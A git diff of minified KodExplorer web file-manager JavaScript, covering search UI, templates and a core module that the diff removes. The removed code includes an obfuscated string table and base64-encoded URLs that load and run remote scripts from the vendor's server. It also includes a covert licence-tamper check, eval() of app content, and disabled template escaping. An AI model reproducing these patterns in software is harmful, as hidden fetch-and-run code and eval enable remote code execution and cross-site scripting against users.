b=htmlEncode($("#search-value").val());if(a=htmlEncode(a),f.is_case)a=a.replace(b,''+b+"");else{var c=a.toLowerCase().indexOf(b.toLowerCase());a=a.substr(0,c)+''+a.substr(c,b.length)+""+a.substr(c+b.length)}return a},k=function(){$("#search-value").die("keyup").live("keyup",function(a){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(i),$(".search-header .btn").die("click").live("click",i),$(".search-result .file-item .file-info").die("click").live("click",function(a){var b=$(this).parent();return b.toggleClass("open"),b.find(".result-item").slideToggle(200),stopPP(a),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path")),d=core.pathFather(c);return core.openPath(d),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(c)},200),stopPP(a),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));return kodApp.setLastOpenTarget(b),kodApp.open(c,b.attr("data-ext")),stopPP(a),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var d=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:d,lineIndex:$(this).parent().find("[data-line="+d+"]").index($(this).find(".line"))}),kodApp.open(c,b.attr("data-ext"),"aceEditor"),stopPP(a),!1}),$(".search-header input[type=checkbox]").on("click",function(){h(),l(f)})},l=function(a){var b="box_search_config";if(void 0==a){var a=LocalData.getConfig(b);return a||(a={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(a.search).textSelect(),a.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),a.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(a.ext),a}return LocalData.setConfig(b,a)},m=function(a){var b=$(".file-items"),c=$(".search-desc");if(!a.code)return c.html(a.data),void b.html("");if(0==a.data.fileList.length&&0==a.data.folderList.length)return c.html(LNG.search_null),void b.html("");var e=template.compile(d);if(b.html(e({code:a.code,data:a.data,LNG:LNG})),f.is_content){for(var g=a.data.fileList,h=0,i=0;i"+h+"(in "+g.length+" files)"),a.data.error_info&&c.html(""+LNG.seach_result_too_more+"")}else c.html(a.data.fileList.length+" "+LNG.file+", "+a.data.folderList.length+LNG.folder+".")},n=function(a){l(a),$("#search-value").textFocus();var b=$(".file-items"),c=$(".search-desc");if(!a.search||!a.path)return c.html(LNG.search_info),void b.html("");var d=G.appHost+"explorer/search";"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:d,dataType:"json",type:"POST",data:a,beforeSend:function(){c.hide().html(LNG.searching+'').fadeIn(100)},error:function(a,b,d){core.ajaxError(a,b,d),c.html(LNG.error)},success:function(a){m(a)}})};g()}});;define("app/path/tpl/search.html",[],"\n\n");;define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
      • \n
        \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
        \n
          \n {{each v.searchInfo value index}}\n
        • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'); \ No newline at end of file diff --git a/static/js/app/src/plugins/main.js b/static/js/app/src/plugins/main.js index d42dc25..74c32fe 100755 --- a/static/js/app/src/plugins/main.js +++ b/static/js/app/src/plugins/main.js @@ -1,5 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/plugins/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),i='
        '+i+"
        ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
        \n \n \n \n \n
        \n
        \n
        {{LNG.user}}
        \n \n
        \n
        \n
        {{LNG.group}}
        \n \n
        \n
        \n
        {{LNG.system_member_role}}
        \n \n
        \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
        {{@item.desc}}
        \n {{else}}\n {{@item.desc}}\n {{/if}}\n
        \n
        \n
        \n {{/if}}\n {{/each}}\n
        \n
        \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]); -var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 